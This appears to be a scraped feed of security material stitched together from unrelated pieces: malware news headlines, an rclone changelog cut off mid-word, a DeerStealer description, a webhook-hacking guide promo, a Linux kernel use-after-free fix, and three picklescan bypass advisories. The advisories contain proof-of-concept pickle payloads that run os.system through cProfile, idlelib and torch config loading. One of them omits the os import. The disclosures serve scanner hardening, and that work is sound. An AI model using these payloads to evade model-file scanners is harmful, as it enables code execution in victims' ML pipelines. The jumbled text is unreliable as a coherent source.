ProSpy, ToSpy malware pose as Signal and ToTok to steal data in UAE
Source: https://securityaffairs.com/182907/uncategorized/prospy-tospy-malware-pose-as-signal-and-totok-to-steal-data-in-uae.html
This update for rclone fixes the following issues:
Changes in rclone:
- Update to version 1.73.5:
* Version v1.73.5
* operations: add AuthRequired to operations/fsinfo to prevent backend creation CVE-2026-41179
* rc: snapshot NoAuth at startup to prevent runtime auth bypass CVE-2026-41176
* rc: add AuthRequired to options/set to prevent auth bypass CVE-2026-41176
* s3: fix empty delimiter parameter rejected by Archiware P5 server
* azureblob/auth: add Microsoft Partner Network User-Agent prefix
* drime: fix User.EntryPermissions JSON unmarshalling
* filter: fix debug logs that fire before logger is configured - fixes #9291
* s3: fix TencentCOS CDN endpoint failing on bucket check
* iclouddrive: fix 'directory not found' error when the directory contains accent marks
* Start v1.73.5-DEV development
- Update to version 1.73.4:
* Version v1.73.4
* Update to go 1.25.9 to fix multiple CVEs
* build: fix Denial of Service due to Panic in AWS SDK for Go v2 SDK EventStream Decoder
* docs: fix markdown issues in mount docs
* docs: fix header level for metadata option
* fix(docs): Fix link to not be language specific
* filen: update SDK version
* build(deps): bump golang.org/x/image from 0.36.0 to 0.38.0
* docs: note macOS 10.15 (Catalina) support with version v1.70.3
* Start v1.73.4-DEV development
- Update to version 1.73.3: (CVE-2026-33186 GHSA-6g7g-w4f8-9c9x)
* Version v1.73.3
* build(deps): bump github.com/buger/jsonparser from 1.1.1 to 1.1.2
* docs/jottacloud: fix broken link
* docs: clarify Filen password change requires updating both password and API key in rclone config
* docs: note that Filen API key changes on password change
* build(deps): bump google.golang.org/grpc from 1.79.1 to 1.79.3
* s3: add multi tenant support for Cubbit
* lib/rest: fix URLPathEscapeAll breaking WebDAV servers (eg nzbdav) with strict path matching
* list: fix nil pointer panic in Sorter when temp file creation fails
* docs: update RELEASE procedure to avoid mistakes
* docs: added text to the label showing version-introduced info
* Start v1.73.3-DEV development
* docs: update sponsors
- Update to version 1.73.2:
* Version v1.73.2
* Update to go 1.25.8 to fix multiple CVEs
* build: update to golang.org/x/net v0.51.0 to fix CVE-2026-27141 #9220
* docs: fix new drive flag typo in changelog
* webdav: add missing headers for CORS
* docs: Document unsupported S3 object keys with double slashes
* docs: note that --use-server-modtime only works on some backends
* internxt: fix Entry doesn't belong in directory errors on windows
* drime: fix chunk-uploaded files ignoring workspace ID
* docs: Fix headers hierarchy for mount.md
* webdav: escape reserved characters in URL path segments
* bisync: add group Sync to the bisync command
* archive: extract: strip "./" prefix from tar entry paths
* docs: add instructions on how to update Go version
* buid: update github.com/cloudflare/circl to v1.6.3 to fix CVE-2026-1229
* Start v1.73.2-DEV development
- Update to version 1.73.1:
* Version v1.73.1
* build: fix build using go 1.26.0 instead of go 1.25.7
* fs/march: fix runtime: program exceeds 10000-thread limit
* accounting: fix missing server side stats from core/stats rc
* pacer: re-read the sleep time as it may be stale
* pacer: fix deadlock between pacer token and --max-connections
* build: fix CVE-2025-68121 by updating go to 1.25.7 or later - fixes #9167
* drime: fix files and directories being created in the default workspace
* docs: update sponsors
* copyurl: Extend copyurl docs with an example of CSV FILENAMEs starting with a path.
* internxt: implement re-login under refresh logic, improve retry logic - fixes #9174
* docs: add ExchangeRate-API as a sponsor
* build: bump github.com/go-chi/chi/v5 from 5.2.3 to 5.2.5 to fix GO-2026-4316
* Set list_version to 2 for FileLu S3 configuration
* filelu: add multipart upload support with configurable cutoff
* filelu: add multipart init response type
* filelu: add comment for response body wrapping
* filelu: avoid buffering entire file in memory
* docs: update sponsor logos
* filen: fix potential panic in case of error during upload
* filen: fix 32 bit targets not being able to list directories Fixes #9142
* Start v1.73.1-DEV development
- Update to version 1.73.0:
* Version v1.73.0
* drive: fix crash when trying to creating shortcut to a Google doc
* azureblob,azurefiles: factor the common auth into a library
* test: allow backends to return fs.ErrorCantListRoot to skip Root tests
* build: add privatebeta Makefile target
* docs: add Internxt as a sponsor
* internxt: remove use of CVE laden github.com/disintegration/imaging
* docs: fix Internxt docs after merge
* docs: update making a new backend docs
* docs: build overview page from the backend data
* docs: add tiering to the documentation - fixes #8873
* docs: add data about ea
Python Software Foundation Warns of Fake PyPI Login Site Stealing User Credentials
Source: https://hackread.com/psf-warn-fake-pypi-login-site-steal-credentials/
DeerStealer is a sophisticated information-stealing malware that targets a wide range of user and system data. It employs deception techniques, persistence mechanisms, and rootkit-like capabilities to evade detection and maintain stealth on compromised systems. The malware uses signed executables, legitimate DLLs, and multi-stage execution to perform its malicious activities. It establishes persistence through scheduled tasks and employs auto-elevated COM objects to bypass User Account Control. DeerStealer's adaptive design allows it to switch C2 servers and use obfuscated files for effective data exfiltration. The malware is actively sold and supported through dark-web forums and Telegram channels, posing a significant threat to both individuals and organizations.
I wrote a hands on guide that shows how leaked webhooks surface as an attack vector; how to find them in the wild; how to craft safe non destructive PoCs; how to harden receivers. Includes curl examples for Slack and Discord; Node.js and Go HMAC verification samples; a disclosure template.
Why this matters
* webhooks are often treated as bearer secrets; leaks are common
* small mistakes in verification or ordering can become business logic bugs
* many real world impacts are serviceable without flashy RCE
What you get in the post
* threat model and scope guidance
* detection rules and SIEM ideas
Read it here: [https://blog.himanshuanand.com/posts/2025-09-17-how-to-hack-webhooks/](https://blog.himanshuanand.com/posts/2025-09-17-how-to-hack-webhooks/)
Notes: do not test endpoints you do not own.follow program scope and responsible disclosure rules.
Happy hunting
Apple issues spyware warnings as CERT-FR confirms attacks
Source: https://securityaffairs.com/182129/malware/apple-issues-spyware-warnings-as-cert-fr-confirms-attacks.html
Android Droppers Now Deliver SMS Stealers and Spyware, Not Just Banking Trojans
Source: https://thehackernews.com/2025/09/android-droppers-now-deliver-sms.html
### Summary
Using cProfile.runctx function, which is a built-in python library function to execute remote pickle file.
### Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to cProfile.runctx function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
### PoC
```
import cProfile
class EvilCProfileRunctx:
def __reduce__(self):
# cProfile.runctx(cmd, globals, locals) -> exec(cmd, ...)
return cProfile.runctx, ("__import__('os').system('whoami')", None, None)
```
### Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
### Corresponding
https://github.com/FredericDT
https://github.com/Qhaoduoyu
### Summary
Using idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file.
### Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcommand function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
### PoC
```
from idlelib.pyshell import ModifiedInterpreter
from types import SimpleNamespace
class EvilIdlelibPyshellModifiedInterpreterRuncommand:
def __reduce__(self):
payload = "__import__('os').system('whoami')"
fake_self = SimpleNamespace(
locals={},
tkconsole=SimpleNamespace(executing=False),
rpcclt=None,
debugger=None
)
return ModifiedInterpreter.runcommand, (fake_self, payload)
```
### Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
### Corresponding
https://github.com/FredericDT
https://github.com/Qhaoduoyu
### Summary
Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.
### Details
The attack payload executes in the following steps:
First, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.
### PoC
```
import pickle
from torch.utils._config_module import ConfigModule
class Evil:
def __reduce__(self):
return (os.system, ('whoami',))
class EvilTorchUtilsConfigModuleLoadConfig:
def __reduce__(self):
evil_payload = pickle.dumps(Evil())
return ConfigModule.load_config, (None, evil_payload)
```
### Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
### Corresponding
https://github.com/FredericDT
https://github.com/Qhaoduoyu
In the Linux kernel, the following vulnerability has been resolved: mm: fix a UAF when vma->mm is freed after vma->vm_refcnt got dropped By inducing delays in the right places, Jann Horn created a reproducer for a hard to hit UAF issue that became possible after VMAs were allowed to be recycled by adding SLAB_TYPESAFE_BY_RCU to their cache. Race description is borrowed from Jann's discovery report: lock_vma_under_rcu() looks up a VMA locklessly with mas_walk() under rcu_read_lock(). At that point, the VMA may be concurrently freed, and it can be recycled by another process. vma_start_read() then increments the vma->vm_refcnt (if it is in an acceptable range), and if this succeeds, vma_start_read() can return a recycled VMA. In this scenario where the VMA has been recycled, lock_vma_under_rcu() will then detect the mismatching ->vm_mm pointer and drop the VMA through vma_end_read(), which calls vma_refcount_put(). vma_refcount_put() drops the refcount and then calls rcuwait_wake_up() using a copy of vma->vm_mm. This is wrong: It implicitly assumes that the caller is keeping the VMA's mm alive, but in this scenario the caller has no relation to the VMA's mm, so the rcuwait_wake_up() can cause UAF. The diagram depicting the race: T1 T2 T3 == == == lock_vma_under_rcu mas_walk <VMA gets removed from mm> mmap <the same VMA is reallocated> vma_start_read __refcount_inc_not_zero_limited_acquire munmap __vma_enter_locked refcount_add_not_zero vma_end_read vma_refcount_put __refcount_dec_and_test rcuwait_wait_event <finish operation> rcuwait_wake_up [UAF] Note that rcuwait_wait_event() in T3 does not block because refcount was already dropped by T1. At this point T3 can exit and free the mm causing UAF in T1. To avoid this we move vma->vm_mm verification into vma_start_read() and grab vma->vm_mm to stabilize it before vma_refcount_put() operation. [surenb@google.com: v3]
